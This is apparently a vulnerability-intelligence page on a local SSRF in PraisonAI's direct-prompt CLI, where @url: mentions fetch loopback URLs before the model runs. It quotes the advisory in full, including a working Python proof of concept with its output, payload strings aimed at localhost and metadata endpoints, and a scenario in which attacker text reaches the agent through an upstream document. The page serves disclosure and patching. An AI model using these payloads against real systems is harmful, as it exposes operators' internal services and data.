GHSA-5cxw-77wg-jrf3
PYSEC-2026-2903
PYSEC-2026-2942
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts @url: mention referencing loopback service
-
DeliveryMalicious prompt text reaches operator's PraisonAI CLI invocation
-
ExploitMentionsParser.process() matches @url: pattern pre-LLM
-
Executionurllib.request.urlopen() fetches loopback HTTP resource without SSRF validation
-
PersistResponse body prepended to LLM prompt context
-
ImpactSensitive local content exposed via model output, logs, or agent memory
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must be able to influence the raw prompt string passed to PraisonAI's direct-prompt CLI - this is the single necessary and sufficient condition. This condition is non-trivial in purely local, single-operator setups where the operator writes prompts themselves, but is readily satisfied in multi-agent pipelines, chatbot frontends, or automated workflows where external or user-supplied text flows into the CLI prompt argument without sanitization. The vulnerability triggers only in the direct-prompt CLI execution path; other PraisonAI execution modes that do not invoke MentionsParser.process() on raw prompt text are not affected by this specific issue. No system-level privileges are required from the attacker (PR:N). The operator must run the CLI (UI:R), meaning fully automated or serverless exploitation without any human trigger is not possible under this CVSS assessment. Exploitation is further limited to reading HTTP services reachable from the operator's local machine - it cannot exfiltrate arbitrary files or execute code. |
| Impact | The CVSS 3.1 vector (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) scores 5.5 and is internally consistent with the described attack: the local attack vector (AV:L) correctly reflects that an attacker must influence a prompt the operator submits locally; low complexity (AC:L) reflects that no race conditions or special environment state are required once prompt influence is achieved; PR:N correctly notes the attacker needs no system privileges; UI:R captures the required operator interaction; and C:H is justified because localhost-bound services may expose admin panels, development servers, API keys, or internal dashboards. EPSS data was not provided in the available intelligence - exploitation probability cannot be quantified numerically. The vulnerability is not listed in CISA KEV, indicating no confirmed widespread active exploitation at analysis time. However, a fully self-contained PoC with observed output is published in the GitHub advisory, materially lowering the barrier for targeted exploitation. Real-world risk is highest in automated or pipeline scenarios where PraisonAI processes externally-sourced prompts (e.g., multi-agent orchestration receiving instructions from upstream models or user inputs), because in such contexts the UI:R condition may be satisfied without direct adversary involvement. For operators who only pass trusted, internally-authored prompts, exploitability is substantially lower. |
| Exploit ScenarioDerived | An attacker who can inject text into a prompt processed by PraisonAI's CLI - for example, by crafting a malicious document summarized by an upstream agent, or by submitting input through a user-facing interface that forwards to the CLI - embeds '@url:http://localhost:8080/admin summarize this' in the prompt string. When the operator runs the CLI, MentionsParser fetches the local admin panel at port 8080 before the LLM is invoked, prepends the full HTML response to the prompt, and the LLM may reproduce, summarize, or log the internal content. A working PoC confirming this exact behavior is published in GHSA-5cxw-77wg-jrf3. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
Local SSRF in PraisonAI's direct-prompt CLI allows an attacker who can influence prompt text to cause the operator's machine to fetch loopback and private-network HTTP resources, injecting the response body into the LLM prompt context. Affected packages are pip/praisonai <= 4.6.39 and pip/praisonaiagents <= 1.6.39; patches are available in 4.6.40 and 1.6.40 respectively. Publicly available exploit code exists (confirmed working PoC in the GHSA advisory), no public exploit identified at time of analysis as confirmed actively exploited (CISA KEV listing absent), and the CVSS 5.5 score reflects a meaningful confidentiality impact (C:H) constrained by a local attack vector.
RemediationAI
The primary fix is to upgrade pip/praisonaiagents to version 1.6.40 and pip/PraisonAI to version 4.6.40, as confirmed by the vendor advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5cxw-77wg-jrf3. Run 'pip install --upgrade praisonai praisonaiagents' to apply both updates simultaneously. If immediate patching is not possible, the following specific compensating controls reduce risk: (1) Restrict prompt input to the direct-prompt CLI to only trusted, internally-authored strings - do not pipe external user input, model output from upstream agents, or file contents directly into the CLI prompt argument, as this is the primary exploitation gate; (2) Bind sensitive loopback services (dev servers, admin panels, internal APIs) to a non-default port with authentication required, reducing the value of any successfully fetched response; (3) Use OS-level network namespace isolation or firewall rules to prevent the PraisonAI process from making outbound connections to 127.0.0.0/8 and RFC1918 ranges if your deployment does not require local HTTP fetching - note this may break legitimate @url: use against internal resources. Each compensating control has trade-offs: restricting prompt sources limits PraisonAI's multi-agent utility; network namespacing requires infrastructure changes and may affect other workflows.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI's MentionsParser (src/praisonai-agents/praisonaiagents/tools/mentions.py) implements a prompt preprocessing mini-language that expands typed mentions such as @file:, @doc:, and @url: before any LLM invocation occurs. The @url: handler uses Python's urllib.request.urlopen() - a standard library HTTP client with no built-in SSRF protections - to fetch the resolved URL and return the response body. Critically, this expansion runs on the raw CLI prompt string in main.py before query rewriting, tool dispatch, or LLM prompt sanitization. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) is the root cause class: the absence of allowlist or denylist validation on resolved hosts means requests to 127.0.0.1, localhost, localhost. (trailing-dot bypass), RFC1918 ranges, and cloud metadata endpoints (e.g., 169.254.169.254) are all permitted. Affected PURL identifiers are pkg:pip/praisonaiagents and pkg:pip/praisonai.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
DescriptionCVE.org
Summary
PraisonAI's direct-prompt CLI automatically expands @url: mentions in raw prompt text before agent execution begins.
If a prompt contains @url:<http-or-https-url>, the CLI calls MentionsParser.process(...). The @url: handler then performs a direct urllib.request.urlopen() request to the attacker-controlled URL and returns the response body. That response body is prepended to the final model prompt context.
There is no loopback/private-address restriction, no metadata-service restriction, and no approval gate before the fetch.
As a result, attacker-influenced prompt text can cause the operator's machine to fetch localhost-only HTTP resources and inject the response into model context.
Example:
@url:http://localhost.:8766/ summarize thisThis causes PraisonAI to make an HTTP request to the local machine and prepend the fetched response body to the prompt that the model receives.
This is a narrow local SSRF / local content disclosure issue in automatic prompt preprocessing. It is not a remote server takeover.
Details
The affected direct-prompt CLI path is in:
src/praisonai/praisonai/cli/main.pyThe CLI imports and instantiates MentionsParser on the direct prompt path:
from praisonaiagents.tools.mentions import MentionsParser
parser = MentionsParser(workspace_path=os.getcwd())
if parser.has_mentions(prompt):
mention_context, prompt = parser.process(prompt)
if mention_context:
prompt = f"{mention_context}
# Task:\n{prompt}"This means raw prompt text is interpreted as a mention language before query rewriting, prompt expansion, tool execution, or LLM invocation.
The affected mention implementation is in:
src/praisonai-agents/praisonaiagents/tools/mentions.py@url: is a first-class mention type:
PATTERNS = {
"file": re.compile(r'@file:([^\s]+)'),
"web": re.compile(r'@web:([^\s]+(?:\s+[^\s@]+)*)'),
"doc": re.compile(r'@doc:([^\s]+)'),
"rule": re.compile(r'@rule:([^\s]+)'),
"url": re.compile(r'@url:(https?://[^\s]+)'),
}The URL mention handler performs an unrestricted HTTP request:
req = urllib.request.Request(
url,
headers={'User-Agent': 'Mozilla/5.0 (compatible; PraisonAI/1.0)'}
)
with urllib.request.urlopen(req, timeout=10) as response:
content = response.read().decode('utf-8', errors='ignore')There is no validation rejecting:
127.0.0.1
localhost
localhost.
private RFC1918 addresses
link-local addresses
cloud metadata endpoints
other local-only HTTP servicesThe returned body is added to the generated mention context and then prepended to the prompt.
The resulting chain is:
attacker-influenced prompt text
-> @url:http://localhost.:8766/
-> direct-prompt CLI calls MentionsParser.process(...)
-> _process_url_mention(...)
-> urllib.request.urlopen(attacker URL)
-> loopback HTTP response body is read
-> response body is injected into model prompt contextPoC
The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8766, passes a prompt containing @url:http://localhost.:8766/ through the real MentionsParser.process(...) implementation, and confirms that the local response body is injected into the generated prompt context.
Full PoC
#!/usr/bin/env python3
"""Self-contained local replay for PraisonAI CLI @url mention loopback fetch."""
from __future__ import annotations
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
CLI_MAIN = PRAISON_ROOT / "praisonai/cli/main.py"
MENTIONS = AGENTS_ROOT / "praisonaiagents/tools/mentions.py"
def verify_source() -> None:
expected = {
CLI_MAIN: [
"from praisonaiagents.tools.mentions import MentionsParser",
"if parser.has_mentions(prompt):",
"mention_context, prompt = parser.process(prompt)",
'prompt = f"{mention_context}
# Task:\\n{prompt}"',
],
MENTIONS: [
'"url": re.compile(r\'@url:(https?://[^\\s]+)\')',
"def _process_url_mention(self, url: str) -> Optional[str]:",
"with urllib.request.urlopen(req, timeout=10) as response:",
],
}
for path, needles in expected.items():
text = path.read_text(encoding="utf-8")
for needle in needles:
if needle not in text:
raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")
class _Handler(BaseHTTPRequestHandler):
hits: list[tuple[str, str | None]] = []
body = b"<html><body>secret-local-page</body></html>"
def do_GET(self) -> None:
# noqa: N802
self.__class__.hits.append((self.path, self.headers.get("Host")))
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, format: str, *args) -> None:
# noqa: A003
return
def main() -> int:
if not CLI_MAIN.exists() or not MENTIONS.exists():
raise SystemExit("missing local PraisonAI source tree")
verify_source()
sys.path.insert(0, str(AGENTS_ROOT))
from praisonaiagents.tools.mentions import MentionsParser
_Handler.hits.clear()
server = HTTPServer(("127.0.0.1", 8766), _Handler)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
try:
parser = MentionsParser(workspace_path="/tmp")
context, cleaned = parser.process("@url:http://localhost.:8766/ summarize this")
finally:
server.shutdown()
server.server_close()
thread.join(timeout=1)
print("[poc] cli_path_verified=yes")
print("[poc] mention_impl_verified=yes")
print(f"[poc] cleaned_prompt={cleaned}")
print(f"[poc] loopback_hit_count={len(_Handler.hits)}")
if _Handler.hits:
print(f"[poc] loopback_host={_Handler.hits[0][1]}")
print(f"[poc] context_contains_secret={'secret-local-page' in context}")
if cleaned != "summarize this":
raise SystemExit(f"[poc] MISS: unexpected cleaned prompt {cleaned!r}")
if not _Handler.hits:
raise SystemExit("[poc] MISS: no loopback HTTP request observed")
if "secret-local-page" not in context:
raise SystemExit("[poc] MISS: local response body was not injected into prompt context")
print("[poc] HIT: @url mention fetched loopback content and injected it into prompt context")
return 0
if __name__ == "__main__":
raise SystemExit(main())Observed output
[poc] cli_path_verified=yes
[poc] mention_impl_verified=yes
[poc] cleaned_prompt=summarize this
[poc] loopback_hit_count=1
[poc] loopback_host=localhost.:8766
[poc] context_contains_secret=True
[poc] HIT: @url mention fetched loopback content and injected it into prompt contextExpected secure behavior
A prompt-borne @url: mention should not be able to read loopback or private-network resources by default.
At minimum, the following should be rejected before any HTTP request is made:
http://127.0.0.1/
http://localhost/
http://localhost./
http://169.254.169.254/
private RFC1918 addresses
link-local addressesActual vulnerable behavior
The loopback request succeeds, and the returned local content is inserted into the generated prompt context.
Impact
An attacker who can influence prompt text passed to PraisonAI's direct-prompt CLI can cause the operator's machine to perform local HTTP requests and inject the fetched response body into the model prompt context.
Potential impact includes:
- reading localhost-only HTTP resources;
- reading local dashboards, admin panels, development servers, or internal web services bound to loopback;
- exposing fetched local content to the model prompt;
- exposing fetched local content through downstream logs, traces, model output, or agent memory depending on the operator workflow.
This report does not claim unauthenticated remote server takeover. The attacker must influence the prompt text that an operator runs with the direct-prompt CLI.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-46303
NVD
CVE.org
EPSS
Exploit-DB